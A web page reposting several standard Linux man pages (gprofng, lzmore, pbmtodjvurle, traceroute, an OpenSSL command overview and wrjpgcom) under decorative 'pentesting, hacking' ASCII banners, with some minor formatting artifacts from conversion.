  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

352 - Linux cli command x86_64-linux-gnu-gprofng

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-gprofng and provides detailed information about the command x86_64-linux-gnu-gprofng, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-gprofng.

NAME 🖥️ x86_64-linux-gnu-gprofng 🖥️

The next generation GNU application profiling tool

SYNOPSIS

gprofng [option(s)] action [qualifier] [option(s)] target [options]

DESCRIPTION

This is the driver for the gprofng tools suite to gather and analyze performance data.

The driver executes the action specified. An example of an action is collect to collect performance data. Depending on the action, a qualifier may be needed to further define the command. The last item is the target that the command applies to.

There are three places where options are supported. The driver supports options. These can be found below. The action, possibly in combination with the qualifier also supports options. A description of these can be found in the man page for the command. Any options needed to execute the target command should follow the target name.

For example, to collect performance data for an application called a.out and store the results in experiment directory mydata.er, the following command may be used:

$ gprofng collect app -o mydata.er a.out -t 2

In this example, the action is collect, the qualifier is app, the single argument to the command is -o mydata.er and the target is a.out. The target command is invoked with the -t 2 option.

If gprofng is executed without any additional option, action, or target, a usage overview is printed.

OPTIONS

–version
Print the version number and exit.

–help
Print usage information and exit.

ENVIRONMENT

The following environment variables are supported:

GPROFNG_MAX_CALL_STACK_DEPTH
Set the depth of the call stack (default is 256).

GPROFNG_USE_JAVA_OPTIONS
May be set when profiling a C/C++ application that uses dlopen() to execute Java code.

GPROFNG_ALLOW_CORE_DUMP
Set this variable to allow a core file to be generated; otherwise an error report is created on /tmp.

GPROFNG_ARCHIVE
Use this variable to define the settings for automatic archiving upon experiment recording completion.

GPROFNG_ARCHIVE_COMMON_DIR
Set this variable to the location of the common archive.

GPROFNG_JAVA_MAX_CALL_STACK_DEPTH
Set the depth of the Java call stack; the default is 256; set to 0 to disable capturing of call stacks.

GPROFNG_JAVA_NATIVE_MAX_CALL_STACK_DEPTH
Set the depth of the Java native call stack; the default is 256; set to 0 to disable capturing of call stacks (JNI and assembly call stacks are not captured).

GPROFNG_SYSCONFDIR
Set the path to the gprofng.rc configuration file. By default, this file is placed in the etc subdirectory of the binutils installation directory. In case an RPM has been used for the installation, this file is in directory /etc. When building and installing from the source, the user can set the path to this configuration file to a non-default location. If this is the case, the user may set the GPROFNG_SYSCONFDIR environment variable to point to this location. Otherwise, the gp-display-text, gp-display-src, and gp-archive tools cannot find this file.

NOTES

The gprofng driver supports the following commands.

Collect performance data:

“gprofng collect app”
Collect application performance data.

Display the performance results:

“gprofng display text”
Display the performance data in ASCII format.

“gprofng display html”
Generate an HTML file from one or more experiments.

“gprofng display gui”
Start the GUI. Note that this tool is not available by default and needs to be installed seperately.

Miscellaneous commands:

“gprofng display src”
Display source or disassembly with compiler annotations.

“gprofng archive”
Include binaries and source code in an experiment directory.

It is also possible to invoke the lower level commands directly, but since these are subject to change, in particular the options, we recommend to use the driver.

SEE ALSO

gp-archive (1), gp-collect-app (1), gp-display-gui (1), gp-display-html (1), gp-display-src (1), gp-display-text (1)

Each gprofng command also supports the –help option. This lists the options and a short description for each option.

For example this displays the options supported on the gprofng collect app command:

$ gprofng collect app –help

The user guide for gprofng is maintained as a Texinfo manual. If the info and gprofng programs are correctly installed, the command info gprofng should give access to this document.

COPYRIGHT

Copyright (c) 2022-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

353 - Linux cli command lzmore

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lzmore and provides detailed information about the command lzmore, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lzmore.

NAME 🖥️ lzmore 🖥️

view xz or lzma compressed (text) files

SYNOPSIS

xzmore [file…]
lzmore [file…]

DESCRIPTION

xzmore displays text from compressed files to a terminal using more(1). Files supported by xz(1) are decompressed; other files are assumed to be in uncompressed form already. If no files are given, xzmore reads from standard input. See the more(1) manual for the keyboard commands.

Note that scrolling backwards might not be possible depending on the implementation of more(1). This is because xzmore uses a pipe to pass the decompressed data to more(1). xzless(1) uses less(1) which provides more advanced features.

The command lzmore is provided for backward compatibility with LZMA Utils.

ENVIRONMENT

PAGER
If PAGER is set, its value is used as the pager instead of more(1).

SEE ALSO

more(1), xz(1), xzless(1), zmore(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

354 - Linux cli command pbmtodjvurle

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtodjvurle and provides detailed information about the command pbmtodjvurle, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtodjvurle.

.

NAME 🖥️ pbmtodjvurle 🖥️

convert a PBM image to DjVu Bitonal RLE format

SYNOPSIS

pbmtodjvurle

[pbmfile [rlefile]]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtodjvurle reads a PBM image as input and produces DjVu Bitonal RLE format as output.

OPTIONS

There are no command line options defined specifically for pbmtodjvurle, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pamtodjvurle(1) pbm(1)

HISTORY

pbmtodjvurle was new in Netpbm 10.22 (April 2004).

AUTHOR

Copyright (C) 2004 Scott Pakin <[email protected]>.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtodjvurle.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

355 - Linux cli command traceproto.db

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command traceproto.db and provides detailed information about the command traceproto.db, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the traceproto.db.

NAME 🖥️ traceproto.db 🖥️

print the route packets trace to network host

SYNOPSIS

traceroute [-46dFITUnreAV] [-f first_ttl] [-g gate,…]

[-i device] [-m max_ttl] [-p port] [-s src_addr]

[-q nqueries] [-N squeries] [-t tos]

[-l flow_label] [-w waittimes] [-z sendwait] [-UL] [-D]

[-P proto] [–sport=port] [-M method] [-O mod_options]

[–mtu] [–back]

host [packet_len]
traceroute6 [options]
tcptraceroute [options]
lft [options]

DESCRIPTION

traceroute tracks the route packets taken from an IP network on their way to a given host. It utilizes the IP protocol’s time to live (TTL) field and attempts to elicit an ICMP TIME_EXCEEDED response from each gateway along the path to the host.

traceroute6 is equivalent to traceroute -6

tcptraceroute is equivalent to traceroute -T

lft , the Layer Four Traceroute, performs a TCP traceroute, like traceroute -T , but attempts to provide compatibility with the original such implementation, also called “lft”.

The only required parameter is the name or IP address of the destination host . The optional packet_len`gth is the total size of the probing packet (default 60 bytes for IPv4 and 80 for IPv6). The specified size can be ignored in some situations or increased up to a minimal value.

This program attempts to trace the route an IP packet would follow to some internet host by launching probe packets with a small ttl (time to live) then listening for an ICMP “time exceeded” reply from a gateway. We start our probes with a ttl of one and increase by one until we get an ICMP “port unreachable” (or TCP reset), which means we got to the “host”, or hit a max (which defaults to 30 hops). Three probes (by default) are sent at each ttl setting and a line is printed showing the ttl, address of the gateway and round trip time of each probe. The address can be followed by additional information when requested. If the probe answers come from different gateways, the address of each responding system will be printed. If there is no response within a certain timeout, an “*” (asterisk) is printed for that probe.

After the trip time, some additional annotation can be printed: !H, !N, or !P (host, network or protocol unreachable), !S (source route failed), !F (fragmentation needed), !X (communication administratively prohibited), !V (host precedence violation), !C (precedence cutoff in effect), or !<num> (ICMP unreachable code <num>). If almost all the probes result in some kind of unreachable, traceroute will give up and exit.

We don’t want the destination host to process the UDP probe packets, so the destination port is set to an unlikely value (you can change it with the -p flag). There is no such a problem for ICMP or TCP tracerouting (for TCP we use half-open technique, which prevents our probes to be seen by applications on the destination host).

In the modern network environment the traditional traceroute methods can not be always applicable, because of widespread use of firewalls. Such firewalls filter the “unlikely” UDP ports, or even ICMP echoes. To solve this, some additional tracerouting methods are implemented (including tcp), see LIST OF AVAILABLE METHODS below. Such methods try to use particular protocol and source/destination port, in order to bypass firewalls (to be seen by firewalls just as a start of allowed type of a network session).

OPTIONS

–help
Print help info and exit.

-4, -6
Explicitly force IPv4 or IPv6 tracerouting. By default, the program will try to resolve the name given, and choose the appropriate protocol automatically. If resolving a host name returns both IPv4 and IPv6 addresses, traceroute will use IPv4.

-I, –icmp
Use ICMP ECHO for probes

-T, –tcp
Use TCP SYN for probes

-d, –debug
Enable socket level debugging (when the Linux kernel supports it)

-F, –dont-fragment
Do not fragment probe packets. (For IPv4 it also sets DF bit, which tells intermediate routers not to fragment remotely as well).

Varying the size of the probing packet by the packet_len command line parameter, you can manually obtain information about the MTU of individual network hops. The –mtu option (see below) tries to do this automatically.

Note, that non-fragmented features (like -F or –mtu) work properly since the Linux kernel 2.6.22 only. Before that version, IPv6 was always fragmented, IPv4 could use the once the discovered final mtu only (from the route cache), which can be less than the actual mtu of a device.

-f* first_ttl***, –first=**first_ttl
Specifies with what TTL to start. Defaults to 1.

-g* gateway***, –gateway=gateway
Tells traceroute to add an IP source routing option to the outgoing packet that tells the network to route the packet through the specified gateway (most routers have disabled source routing for security reasons). In general, several gateway’s is allowed (comma separated). For IPv6, the form of num
,addr,**addr… is allowed, where num is a route header type (default is type 2). Note the type 0 route header is now deprecated (rfc5095).

-i* interface***, –interface=**interface
Specifies the interface through which traceroute should send packets. By default, the interface is selected according to the routing table.

-m* max_ttl***, –max-hops=**max_ttl
Specifies the maximum number of hops (max time-to-live value) traceroute will probe. The default is 30.

-N* squeries***, –sim-queries=**squeries
Specifies the number of probe packets sent out simultaneously. Sending several probes concurrently can speed up traceroute considerably. The default value is 16.
Note that some routers and hosts can use ICMP rate throttling. In such a situation specifying too large number can lead to loss of some responses.

-n
Do not try to map IP addresses to host names when displaying them.

-p* port***, –port=**port
For UDP tracing, specifies the destination port base traceroute will use (the destination port number will be incremented by each probe).
For ICMP tracing, specifies the initial ICMP sequence value (incremented by each probe too).
For TCP and others specifies just the (constant) destination port to connect. When using the tcptraceroute wrapper, -p specifies the source port.

-t* tos***, –tos=**tos
For IPv4, set the Type of Service (TOS) and Precedence value. Useful values are 16 (low delay) and 8 (high throughput). Note that in order to use some TOS precedence values, you have to be super user.
For IPv6, set the Traffic Control value.

-l* flow_label***, –flowlabel=**flow_label
Use specified flow_label for IPv6 packets.

-w* max[*,here,near], –wait=*max[,here,*near]
Determines how long to wait for a response to a probe.

There are three (in general) float values separated by a comma (or a slash). Max specifies the maximum time (in seconds, default 5.0) to wait, in any case.

Traditional traceroute implementation always waited whole max seconds for any probe. But if we already have some replies from the same hop, or even from some next hop, we can use the round trip time of such a reply as a hint to determine the actual reasonable amount of time to wait.

The optional here (default 3.0) specifies a factor to multiply the round trip time of an already received response from the same hop. The resulting value is used as a timeout for the probe, instead of (but no more than) max. The optional near (default 10.0) specifies a similar factor for a response from some next hop. (The time of the first found result is used in both cases).

First, we look for the same hop (of the probe which will be printed first from now). If nothing found, then look for some next hop. If nothing found, use max. If here and/or near have zero values, the corresponding computation is skipped.
Here and near are always set to zero if only max is specified (for compatibility with previous versions).

-q* nqueries***, –queries=**nqueries
Sets the number of probe packets per hop. The default is 3.

-r
Bypass the normal routing tables and send directly to a host on an attached network. If the host is not on a directly-attached network, an error is returned. This option can be used to ping a local host through an interface that has no route through it.

-s* source_addr***, –source=**source_addr
Chooses an alternative source address. Note that you must select the address of one of the interfaces. By default, the address of the outgoing interface is used.

-z* sendwait***, –sendwait=**sendwait
Minimal time interval between probes (default 0). If the value is more than 10, then it specifies a number in milliseconds, else it is a number of seconds (float point values allowed too). Useful when some routers use rate-limit for ICMP messages.

-e, –extensions
Show ICMP extensions (rfc4884). The general form is CLASS*/TYPE:*** followed by a hexadecimal dump. The MPLS (rfc4950) is shown parsed, in a form: MPLS:L=label,E=exp_use,S=stack_bottom,T=TTL (more objects separated by / ). The Interface Information (rfc5837) is shown parsed as well, in a following form: {INC|SUB|OUT|NXT}:index,IP_addr,"name",mtu=MTU (all four fields may be missing).

-A, –as-path-lookups
Perform AS path lookups in routing registries and print results directly after the corresponding addresses.

-V, –version
Print the version and exit.

There are additional options intended for advanced usage (such as alternate trace methods etc.):

–sport=port
Chooses the source port to use. Implies -N 1 -w 5 . Normally source ports (if applicable) are chosen by the system.

–fwmark=mark
Set the firewall mark for outgoing packets (since the Linux kernel 2.6.25).

-M* method***, –module=name
Use specified method for traceroute operations. Default traditional udp method has name default, icmp (
-I**)" and tcp (-T)" have names icmp and tcp respectively.
Method-specific options can be passed by -O . Most methods have their simple shortcuts, (-I means -M icmp, etc).

-O* option***, –options=**options
Specifies some method-specific option. Several options are separated by comma (or use several -O on cmdline). Each method may have its own specific options, or many not have them at all. To print information about available options, use -O help.

-U, –udp
Use UDP to particular destination port for tracerouting (instead of increasing the port per each probe). Default port is 53 (dns).

-UL
Use UDPLITE for tracerouting (default port is 53).

-D, –dccp
Use DCCP Requests for probes.

-P* protocol***, –protocol=**protocol
Use raw packet of specified protocol for tracerouting. Default protocol is 253 (rfc3692).

–mtu
Discover MTU along the path being traced. Implies -F -N 1. New mtu is printed once in a form of F=NUM at the first probe of a hop which requires such mtu to be reached. (Actually, the correspond “frag needed” icmp message normally is sent by the previous hop).

Note, that some routers might cache once the seen information on a fragmentation. Thus you can receive the final mtu from a closer hop. Try to specify an unusual tos by -t , this can help for one attempt (then it can be cached there as well).
See -F option for more info.

–back
Print the number of backward hops when it seems different with the forward direction. This number is guessed in assumption that remote hops send reply packets with initial ttl set to either 64, or 128 or 255 (which seems a common practice). It is printed as a negate value in a form of ‘-NUM’ .

LIST OF AVAILABLE METHODS

In general, a particular traceroute method may have to be chosen by -M name, but most of the methods have their simple cmdline switches (you can see them after the method name, if present).

default

The traditional, ancient method of tracerouting. Used by default.

Probe packets are udp datagrams with so-called “unlikely” destination ports. The “unlikely” port of the first probe is 33434, then for each next probe it is incremented by one. Since the ports are expected to be unused, the destination host normally returns “icmp unreach port” as a final response. (Nobody knows what happens when some application listens for such ports, though).

This method is allowed for unprivileged users.

icmp -I

Most usual method for now, which uses icmp echo packets for probes.
If you can ping(8) the destination host, icmp tracerouting is applicable as well.

This method may be allowed for unprivileged users since the kernel 3.0 (IPv4, for IPv6 since 3.11), which supports new dgram icmp (or “ping”) sockets. To allow such sockets, sysadmin should provide net/ipv4/ping_group_range sysctl range to match any group of the user.
Options:

raw
Use only raw sockets (the traditional way).
This way is tried first by default (for compatibility reasons), then new dgram icmp sockets as fallback.

dgram
Use only dgram icmp sockets.

tcp -T

Well-known modern method, intended to bypass firewalls.
Uses the constant destination port (default is 80, http).

If some filters are present in the network path, then most probably any “unlikely” udp ports (as for default method) or even icmp echoes (as for icmp) are filtered, and whole tracerouting will just stop at such a firewall. To bypass a network filter, we have to use only allowed protocol/port combinations. If we trace for some, say, mailserver, then more likely -T -p 25 can reach it, even when -I can not.

This method uses well-known “half-open technique”, which prevents applications on the destination host from seeing our probes at all. Normally, a tcp syn is sent. For non-listened ports we receive tcp reset, and all is done. For active listening ports we receive tcp syn+ack, but answer by tcp reset (instead of expected tcp ack), this way the remote tcp session is dropped even without the application ever taking notice.

There is a couple of options for tcp method:

syn,ack,fin,rst,psh,urg,ece,cwr
Sets specified tcp flags for probe packet, in any combination.

flags=num
Sets the flags field in the tcp header exactly to num.

ecn
Send syn packet with tcp flags ECE and CWR (for Explicit Congestion Notification, rfc3168).

sack,timestamps,window_scaling
Use the corresponding tcp header option in the outgoing probe packet.

sysctl
Use current sysctl (/proc/sys/net/*) setting for the tcp header options above and ecn. Always set by default, if nothing else specified.

fastopen
Use fastopen tcp option (when syn), for initial cookie negotiation only.

mss=[num]
Use value of num (or unchanged) for maxseg tcp header option (when syn), and discover its clamping along the path being traced. New changed mss is printed once in a form of M=NUM at the first probe on which it was detected. Note, some routers may return too short original fragment in the time exceeded message, making the check impossible. Besides that the responses may come in a different order. All this can lead to a later place of the report (using -N 1 can help for the order).

info
Print tcp flags and supported options of final tcp replies when the target host is reached. Allows to determine whether an application listens the port and other useful things. Supported tcp options are all that can be set by -T -O, ie. mss, sack, timestamps, window_scaling and fastopen, with the similar output format (a value for mss and just presence for others).

Default options is syn,sysctl.

tcpconn

An initial implementation of tcp method, simple using connect(2) call, which does full tcp session opening. Not recommended for normal use, because a destination application is always affected (and can be confused).

udp -U

Use udp datagram with constant destination port (default 53, dns).
Intended to bypass firewall as well.

Note, that unlike in tcp method, the correspond application on the destination host always receive our probes (with random data), and most can easily be confused by them. Most cases it will not respond to our packets though, so we will never see the final hop in the trace. (Fortunately, it seems that at least dns servers replies with something angry).

This method is allowed for unprivileged users.

udplite -UL

Use udplite datagram for probes (with constant destination port, default 53).

This method is allowed for unprivileged users.
Options:

coverage=num
Set udplite send coverage to num.

dccp -D

Use DCCP Request packets for probes (rfc4340).

This method uses the same “half-open technique” as used for TCP. The default destination port is 33434.

Options:

service=num
Set DCCP service code to num (default is 1885957735).

raw -P proto

Send raw packet of protocol proto.
No protocol-specific headers are used, just IP header only.
Implies -N 1 -w 5 .
Options:

protocol=proto
Use IP protocol proto (default 253).

NOTES

To speed up work, normally several probes are sent simultaneously. On the other hand, it creates a “storm of packages”, especially in the reply direction. Routers can throttle the rate of icmp responses, and some of replies can be lost. To avoid this, decrease the number of simultaneous probes, or even set it to 1 (like in initial traceroute implementation), i.e. -N 1

The final (target) host can drop some of the simultaneous probes, and might even answer only the latest ones. It can lead to extra “looks like expired” hops near the final hop. We use a smart algorithm to auto-detect such a situation, but if it cannot help in your case, just use -N 1 too.

For even greater stability you can slow down the program’s work by -z option, for example use -z 0.5 for half-second pause between probes.

To avoid an extra waiting, we use adaptive algorithm for timeouts (see -w option for more info). It can lead to premature expiry (especially when response times differ at times) and printing “*” instead of a time. In such a case, switch this algorithm off, by specifying -w with the desired timeout only (for example, -w 5).

If some hops report nothing for every method, the last chance to obtain something is to use ping -R command (IPv4, and for nearest 8 hops only).

SEE ALSO

ping(8), ping6(8), tcpdump(8), netstat(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

356 - Linux cli command x509ssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x509ssl and provides detailed information about the command x509ssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x509ssl.

NAME 🖥️ x509ssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

357 - Linux cli command wrjpgcom

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wrjpgcom and provides detailed information about the command wrjpgcom, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wrjpgcom.

NAME 🖥️ wrjpgcom 🖥️

insert text comments into a JPEG file

SYNOPSIS

wrjpgcom [ -replace ] [ -comment* text* ] [ -cfile* name* ] [ filename ]

DESCRIPTION

wrjpgcom reads the named JPEG/JFIF file, or the standard input if no file is named, and generates a new JPEG/JFIF file on standard output. A comment block is added to the file.

The JPEG standard allows “comment” (COM) blocks to occur within a JPEG file. Although the standard doesn’t actually define what COM blocks are for, they are widely used to hold user-supplied text strings. This lets you add annotations, titles, index terms, etc to your JPEG files, and later retrieve them as text. COM blocks do not interfere with the image stored in the JPEG file. The maximum size of a COM block is 64K, but you can have as many of them as you like in one JPEG file.

wrjpgcom adds a COM block, containing text you provide, to a JPEG file. Ordinarily, the COM block is added after any existing COM blocks; but you can delete the old COM blocks if you wish.

OPTIONS

Switch names may be abbreviated, and are not case sensitive.

-replace
Delete any existing COM blocks from the file.

-comment* text*
Supply text for new COM block on command line.

-cfile* name*
Read text for new COM block from named file.

If you have only one line of comment text to add, you can provide it on the command line with -comment. The comment text must be surrounded with quotes so that it is treated as a single argument. Longer comments can be read from a text file.

If you give neither -comment nor -cfile, then wrjpgcom will read the comment text from standard input. (In this case an input image file name MUST be supplied, so that the source JPEG file comes from somewhere else.) You can enter multiple lines, up to 64KB worth. Type an end-of-file indicator (usually control-D) to terminate the comment text entry.

wrjpgcom will not add a COM block if the provided comment string is empty. Therefore -replace -comment “” can be used to delete all COM blocks from a file.

EXAMPLES

Add a short comment to in.jpg, producing out.jpg:

wrjpgcom -c “View of my back yard” in.jpg > out.jpg

Attach a long comment previously stored in comment.txt:

wrjpgcom in.jpg < comment.txt > out.jpg

or equivalently

wrjpgcom -cfile comment.txt < in.jpg > out.jpg

SEE ALSO

cjpeg(1), djpeg(1), jpegtran(1), rdjpgcom(1)

AUTHOR

Independent JPEG Group

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

